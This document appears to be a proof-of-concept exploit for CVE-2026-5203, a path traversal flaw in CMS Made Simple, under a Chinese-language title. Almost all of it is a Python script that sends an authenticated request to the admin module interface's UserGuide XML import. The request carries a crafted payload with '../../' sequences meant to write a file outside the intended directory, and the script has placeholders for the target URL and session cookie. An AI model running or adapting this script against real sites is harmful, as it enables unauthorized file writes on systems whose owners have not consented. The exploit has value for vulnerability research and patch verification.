CVE-2026-5203 CMS Made Simple路径遍历漏洞

import requests # Target configuration target_url = "http://target-cms/admin/moduleinterface.php" session_cookie = "SESSION_ID_HERE" # Malicious XML payload containing path traversal # Attempting to copy a file to the root directory using traversal sequences xml_payload = """<?xml version="1.0" encoding="UTF-8"?> <userguide> <file name="../../uploads/poc.txt"> PoC Content for CVE-2026-5203 </file> </userguide> """ # Send request to import the XML headers = { "Cookie": f"CMSSESSID={session_cookie}", "Content-Type": "application/x-www-form-urlencoded" } # Data payload mimicking the module import request data = { "mact": "UserGuide,m1_,import_xml,1", "xml_data": xml_payload } try: response = requests.post(target_url, data=data, headers=headers) if response.status_code == 200: print("[+] Exploit request sent successfully.") print("[+] Check if the file was created outside the intended directory.") else: print(f"[-] Failed. Status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")